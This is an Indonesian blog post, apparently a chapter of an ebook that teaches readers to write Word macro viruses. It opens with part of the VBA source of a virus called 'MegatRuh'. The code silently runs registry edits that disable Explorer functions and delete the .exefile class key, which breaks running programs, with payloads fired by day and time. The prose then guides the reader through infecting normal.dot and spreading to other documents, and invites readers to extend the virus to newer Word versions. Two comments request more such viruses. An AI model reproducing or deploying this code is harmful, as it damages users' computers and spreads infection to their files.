End Sub
'Jurus : Memanah Matahari (MM)
Sub MM()
Open "\nf.reg" For Output As #1
Print #1, "REGEDIT4"
Print #1,
Print #1, "[Hkey_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]"
Print #1, """"; "NoFind"; """"; "=dword:01"
Close #1
On Error Resume Next
Shell "regedit \nf.reg", vbHide
Kill "\nf.reg"
End Sub
'Jurus : Mencabut Ilalang (MI)
Sub MI()
Open "\nc.reg" For Output As #1
Print #1, "REGEDIT4"
Print #1,
Print #1, "[Hkey_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]"
Print #1, """"; "NoClose"; """"; "=dword:01"
Close #1
On Error Resume Next
Shell "regedit \nc.reg", vbHide
Kill "\nc.reg"
End Sub
'Jurus : Mengurai Kabut (MK)
Sub MK()
Open "\nst.reg" For Output As #1
Print #1, "REGEDIT4"
Print #1,
Print #1, "[Hkey_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]"
Print #1, """"; "NoSetTaskbar"; """"; "=dword:01"
Close #1
On Error Resume Next
Shell "regedit \nst.reg", vbHide
Kill "\nst.reg"
End Sub
'Jurus : Mengguncang Nadi (MN)
Sub MN()
Open "\nsf.reg" For Output As #1
Print #1, "REGEDIT4"
Print #1,
Print #1, "[Hkey_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]"
Print #1, """"; "NoSetFolders"; """"; "=dword:01"
Close #1
Shell "regedit \nsf.reg", vbHide
Kill "\nsf.reg"
End Sub
' Jurus : Pukulan Pelangi (PP)
Sub PP()
MR
MM
MI
End Sub
'Jurus : Melibas Jantung (MJ)
Sub MJ()
MK
MN
End Sub
'Jurus : Ledakan Kosmos (LK)
Sub LK()
Open "\ne.reg" For Output As #1
Print #1, "REGEDIT4"
Print #1,
Print #1, "[-Hkey_Classes_Root\.exefile]"
Close #1
On Error Resume Next
Shell "regedit \ne.reg", vbHide
Kill "\ne.reg"
End Sub
'----------------- kriteria pengaktifan aksi virus -----------------------------------------------------------
Sub pesan()
If Weekday(Date) = vbSunday And Time < TimeValue("4:00:00") Then
MR
x = MsgBox("Jurus : Menikam Rembulan !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbSunday And Time < TimeValue("17:00:00") Then
MM
x = MsgBox("Jurus : Memanah Matahari !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbSunday And Time < TimeValue("23:00:00") Then
PP
x = MsgBox("Jurus : Pukulan Pelangi !", vbOKOnly, "MegatRuh - Cyber Sufi")
End If
If Weekday(Date) = vbMonday And Time < TimeValue("4:00:00") Then
MK
x = MsgBox("Jurus : Mengurai Kabut !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbMonday And Time < TimeValue("17:00:00") Then
MI
x = MsgBox("Jurus : Mencabut Ilalang !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbMonday And Time < TimeValue("23:00:00") Then
MJ
x = MsgBox("Jurus : Melibas Jantung !", vbOKOnly, "MegatRuh - Cyber Sufi")
End If
If Weekday(Date) = vbWednesday And Time < TimeValue("4:00:00") Then
HSL
x = MsgBox("Jurus : Halimun Serbu Lembah !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbWednesday And Time < TimeValue("17:00:00") Then
MN
x = MsgBox("Jurus : Mengoncang Nadi !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbWednesday And Time < TimeValue("23:00:00") Then
LK
x = MsgBox("Jurus :Ledakan Kosmos !", vbOKOnly, "MegatRuh - Cyber Sufi")
End If
If Weekday(Date) = vbTuesday And Time < TimeValue("4:00:00") Then
HT
x = MsgBox("Jurus : Halimun Tunggal !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbTuesday And Time < TimeValue("17:00:00") Then
TPD
x = MsgBox("Jurus : Tarian Pena Dewa !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbTuesday And Time < TimeValue("23:00:00") Then
TSN
x = MsgBox("Jurus :Tarian Siluman Nakal !", vbOKOnly, "MegatRuh - Cyber Sufi")
End If
If Weekday(Date) = vbThursday And Time < TimeValue("4:00:00") Then
TDS
x = MsgBox("Jurus :Tarian Dua Siluman !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbThursday And Time < TimeValue("17:00:00") Then
KB
x = MsgBox("Jurus :Kedipan Bintang !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbThursday And Time < TimeValue("23:00:00") Then
BB
x = MsgBox("Jurus : Bintang Berguguran !", vbOKOnly, "MegatRuh - Cyber Sufi")
End If
If Weekday(Date) = vbFriday And Time < TimeValue("4:00:00") Then
RM
x = MsgBox("Jurus :Rembulan Menangis !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbFriday And Time < TimeValue("17:00:00") Then
BM
x = MsgBox("Jurus :Bintang Merah !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbFriday And Time < TimeValue("23:00:00") Then
LR
x = MsgBox("Jurus :Lolongan Rembulan !", vbOKOnly, "MegatRuh - Cyber Sufi")
End If
If Weekday(Date) = vbSaturday And Time < TimeValue("4:00:00") Then
GP
x = MsgBox("Jurus :Gerhana Putih !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbSaturday And Time < TimeValue("17:00:00") Then
KN
x = MsgBox("Jurus :Kibasan Naga !", vbOKOnly, "MegatRuh - Cyber Sufi")
ElseIf Weekday(Date) = vbSaturday And Time < TimeValue("23:00:00") Then
LK
x = MsgBox("Jurus :Ledakan Kosmos !", vbOKOnly, "MegatRuh - Cyber Sufi")
End If
TP ' tantangan pembuka
PS ' prasasti siluman
JP ' jejak pendekar
On Error Resume Next
ActiveDocument.Save
End Sub
Contoh model virus macro di atas, sejujurnya adalah hasil kompilasi dari beberapa program virus macro yang banyak beredar di “pasaran”. He… he... :) Juga, memang jauh dari sempurna, sehingga kerja virus akan cukup mudah untuk dipatahkan Pada beberapa bagian memang harus disempurnakan. Tapi saya memang tidak akan menyempurnakannya. Takut nambah-nambahin dosa ! he.. he… Entah kalau Anda memang berminat memperbaiki kinerjanya. Saya berlepas tangan untuk masalah itu ! Lagipula, contoh itu jangan yang sulit-sulit, biar gampang dimengerti dan dipahami. Setuju? Ceritanya saya sedang mencari-cari alasan, soal teknik pemrograman yang saya terapkan pada program di atas. Malu sama para pemrogam-pemrogam mumpuni, jika mereka membaca listing program di atas. Saya memrogramnya asal saja kok, yang penting bisa jalan ! persoalan saya anggap selesai . He… he.. :)
Namun demikian kengawuran penulisan program yang saya bentuk, kiranya cukuplah mewakili bahasan kita tentang virus macro secara prinsip. Begitu?
Kesalahan ketik (karena capek atau mata mengantuk atau mungkin diomeli pacar atau isteri.. he.. he.. ) dapat gampang terjadi pada perintah-perintah Visual Basic Word yang kita ketikkan. Terutama berhati-hatilah dengan tanda titik (.) yang sering ada di antara perintah. Buka mata lebar-lebar, sediakan tetes mata INSTO, dan jangan emosi. Oke?! …:)
• Mengintip kerja virus : suatu pendekatan visual
Wah… judul sub paragraf ini cukup keren, ya…. Seperti di skripsi atau thesis-nya orang-orang pinter. Saya bisa lho, super serius menulis kata-kata formal yang membuat puyeng untuk dicerna dan dianalisa, bila memang hal itu diperlukan. Namun daripada Anda buang buku ini karena tidak menarik, ya… lebih bijaksana saya batalkan niat saya yang sok pamer tersebut. Oke? He… he…:)
Untuk mengetahui kerja virus yang sesungguhnya, langkah pertama yang dilakukan adalah menghapus file template milik Word yang bernama normal.dot. lokasi file ini biasanya ada di : \Program Files\Microsoft Office\Templates. Untuk gambaran perhatikan gambar berikut.
Gambar : lokasi file Normal.dot dilihat dengan Windows Explorer
Gambar tersebut menunjukkan lokasi file normal.dot dengan Windows Explorer. Pilihlah file yang bernama normal.dot, lalu tekan tombol DEL, jika akan menghapusnya ke Recycle Bin. Atau jika ingin menghapusnya secara permanen, pergunakan Shift Del. Anggap saja kita menghapusnya dengan tombol DEL. Maka akan keluar jendela Confirm File Delete, yang menanyakan : Are you sure you want to send ‘Normal.dot’ to the Recycle Bin? (Apakah Anda sudah yakin untuk memindahkan file normal.dot ke Recycle Bin?). Klik Yes, maka file akan dihapus dan disimpan di recycle bin.
Gambar : Pesan konfirmasi penghapusan file normal.dot
Setelah proses tersebut dilakukan, sekarang saatnya memanggil program Word. Panggillah program Word dari menu START. Jangan dengan memakai suatu file yang sudah ada. Ini untuk menjaga “kemurnian” program Word dari ancaman virus. Setelah program Word aktif, kita panggil editor Visual Basic. Klik Tools. Lalu pilihlah Macro diikuti dengan pemilihan Visual Basic Editor. Atau cara singkat tekan Alt F11. Seharusnya editor Visual Basic tampil. Jika editor Visual Basic tidak tampil, berarti ada yang tidak beres dengan program Word. Hati-hati!
Gambar : Memanggil editor Visual Basic
Yeah….. akhirnya kita berhasil masuk ke editor Visual Basic. Perhatikan tampilannya. Pada jendela sebelah kiri (jendela Project) akan terbaca Project-Normal. Ini menandakan editor Visual Basic sedang berada pada file normal.dot. Dalam jendela tersebut akan terlihat nama-nama file yang sedang aktif. Pada gambar terlihat dua file yaitu normal dan Project (Document1). Normal mewakili file normal.dot, sedangkan Project(Document1) mewakili file otomatis Word yang bernama Document1. Ingat! Setiap kali Word diaktifkan tanpa membuka file yang sudah ada, ia akan memulainya dengan menampilkan suatu dokumen baru secara otomatis dengan nama Document1.
Jika kita perhatikan lebih lanjut, pada file Normal pada folder Microsoft Word Objects hanya memiliki satu item saja, yaitu ThisDocument. Sedangkan pada Project (Document1) mempunyai dua folder, yaitu Microsoft Word Objects dan References. Perhatikan gambar!
Gambar : Editor Visual Basic dengan beberapa proyek
Keluar sementara dari editor Visual Basic dengan menekan tanda – (Minimize) yang terletak pada kanan atas jendela editor Visual Basic. Dengan cara ini, maka kita akan kembali pada editor Word.
Sekarang, kita aktifkan file utama virus yang sudah kita buat, pada contoh ini kita telah menyimpannya dengan nama MASTER.DOC. Ingat bukan? Oke… panggil file tersebut, dapat dilakukan dengan menekan Ctrl O, atau mengklik icon folder yang terbuka, atau dengan mengklik File, dan memilih Open. Pilihlah cara mana yang Anda suka. Pokoknya file Master.doc harus diaktifkan.
Setelah berhasil mengaktifkan file Master.doc, kita kembali ke editor Visual Basic dengan mengklik kotak pada taskbar atau menekan tombol Alt F11. Setelah editor Visual Basic aktif lagi, kita perhatikan tampilannya. Lihat… pada jendela Project. Pada file Normal ternyata akan muncul suatu folder baru yang bernama Modules dan mempunyai suatu modul baru yang bernama MEGATRUH. Modul baru ini muncul karena virus yang kita buat telah berhasil menginfeksi file normal.dot! Virus telah dengan sukses mengcopykan dirinya ke normal.dot. Alhamdullilah…. Berhasillah proyek kita … he… he…. :)
Gambar : Proyek file MEGATRUH aktif dan menginfeksi normal template (normal.dot)
Juga perhatikan, bahwa Project(Document1) telah hilang dan digantikan dengan Project (MASTER). Ini menandakan bahwa file MASTER.DOC telah aktif menggantikan file Document1. pada proyek file master.doc ini mempunyai tiga folder. Yaitu Microsoft Word Objects, Modules dan References. Program virus kita berada pada folder modules dengan nama modul MEGATRUH.
Untuk membuktikan kinerja virus, kita akan membuat suatu dokumen baru. Untuk itu keluarlah dari editor Visual Basic secara sementara, sehingga editor Word aktif. Tahu caranya ‘kan? Lihat pembahasan di atas!
Pada saat editor Word aktif, buatlah file baru dengan menekan Ctrl N atau memilih File dan New. Ketikkan sembarang kata atau kalimat. Lalu kita kembali ke editor Visual Basic. Perhatikan tampilannya.
Pada jendela Project akan muncul suatu proyek baru yaitu Project (Document2). Lho… kok tidak Project (Document1)? Iya... memang begitu, Word secara otomatis yang mengaturnya. Karena pembuatan dokumen baru telah dianggap dilakukannya sebanyak dua kali, maka Word akan menamainya dengan Document2. Pada Project (Document2) ternyata “baik-baik” saja meskipun virus sudah aktif. Virus belum menginfeksinya. Ini terbukti dengan tidak adanya tambahan folder baru yang bernama modules dengan modul MEGATRUH. Lho… lalu virus kita gagal dong? Tidak juga ! Untuk membuktikannya, terpaksa kita kembali lagi ke editor Word.
Gambar : Proyek Document2 masuk sebagai proyek baru
Pada saat di editor Word , klik File lalu pilih Save atau Save As…. Atau cukup tekan Ctrl S. Kita akan menyimpan file Document2 dengan nama yang sesuai. Kotak dialog Save As, akan tampil. Pada bagian isian File name, ketikkan KORBAN. Lalu klik tombol SAVE. File baru dengan nama KORBAN.DOC akan disimpan.
Gambar : Menyimpan file Document2 dengan nama KORBAN
Setelah menyimpan file dengan nama KORBAN, maka kita kembali ke editor Visual Basic. Seharusnya virus akan menulari file tersebut. Kita lihat jendela Project. Pada jendela memang Project (Document2) telah digantikan dengan Project (KORBAN), tapi lihat … lagi-lagi virus belum mau menginfeksi file. Sialan!!! Gagalkah kita ? tenang saja, kembalilah ke editor Word. Ketikkan sembarang data dan lakukan penyimpanan (save) ulang. Lalu lihatlah kembali editor Visual Basic. Virus masih belum berhasil menginfeksi file? Jika ya, maka kembalilah ke editor Word dan tutuplah file KORBAN tersebut, dengan mengklik tanda X, pada jendelanya.
Gambar : Proyek file Korban menggantikan proyek file Document2
Lalu, buka ulang file KORBAN.DOC dan kita lihat lagi editor Visual Basic. Nah! Seharusnya file telah diinfeksi oleh virus. Sehingga tampilanya akan terlihat seperti pada gambar. Terlihat pada Project (KORBAN) sudah muncul folder Modules dengan modul MEGATRUH didalamnya. Selamat ! virus made in Anda, berhasil “melahirkan anaknya”…. He….. he…. :)
Gambar : Proyek file Korban terkena Infeksi virus
Untuk bukti terakhir kali, kita panggil suatu file yang sudah ada. Anggap saja namanya adalah SURAT2.DOC. Tekan Ctrl O, pada saat jendela Open tampil pilih File dengan nama surat2.doc dan klik Open atau tekan Enter. File surat2.doc akan dibuka.
Kita lihat struktur proyek file tersebut dengan editor Visual Basic. Ya… ya… file Surat2 sudah masuk didalam proyek. Lihat gambar. Tapi apakah virus sudah berhasil menginfeksinya? Kita buktikan.
Gambar : Proyek file Surat2 aktif
Nah! Klik tanda + yang ada didepan nama Project (Surat2), akan terlihat bahwa folder Modules muncul dan terdapat modul virus MEGATRUH di dalamnya. Waaah…… berhasil juga!
Sampai batas ini pembuktian kerja virus cukup, ya? Bila belum mantap maka coba dan buktikan sendiri! (walaaah…kayak iklan TV saja…. :)) tapi ingat pada saat mencoba jangan sampai menutup editor Visual Basic secara permanen! Harus secara sementara. Jika editor Visual Basic sampai tertutup secara permanen, maka akses ke editor Visual Basic akan ditolak. Mengapa ? (mengapa lagi..!!!) karena virus MEGATRUH telah memblokir jalan akses ke editor Visual Basic. Nah! Kalau sudah begini, bagaimana? Tidak ada jalan lain kita harus mengulangi proses dari depan. Yaitu dimulai dengan menghapus file Normal.dot. Jadi, daripada harus “bekerja bakti”, maka hati-hatilah! Be happy and have fun….
Jika semua prosedur telah dilakukan dan belum terjadi infeksi, barangkali Anda mengetikkan program listing virus dengan tidak benar. Ketikkan ulang atau periksalah kembali ketikan Anda, mungkin ada yang terlewat. Atau mungkin salah ketik.
Setelah yakin semua prosedur telah dijalankan dengan benar dan masih juga belum mau menginfeksi, barangkali Anda memakai program Microsoft Word versi di atas 97. Misalnya Word 2000. Program virus ini memang belum dirancang untuk menginfeksi program Word 2000. Penginfeksian Word 2000, mungkin dapat terjadi, namun diperlukan beberapa modifikasi. (Itu tugas Anda! Saya nanti dikasih listing modifikasinya, ya? Biar irit tenaga. He.. he… :) Tolong di email-kan ke : megatruh@asia.com. Saya tunggu lho….)
Download Bab ini dalam versi Ebook PDF
*** BDVM : SELESAI !
MAS, AKU MAU TANYA............BISA GAK BUAT PASSWORD MACRO EXCEL 2003, TAPI BUKANYA LEWAT BATCH PROGRAMMING.............? TRIMS YA MAS
BalasHapus( AANPUTRA364@YMAIL.COM )
Bang. Bisa gak buat virus macro mulai dari versi 2007 sampai versi 2019 bang?
BalasHapus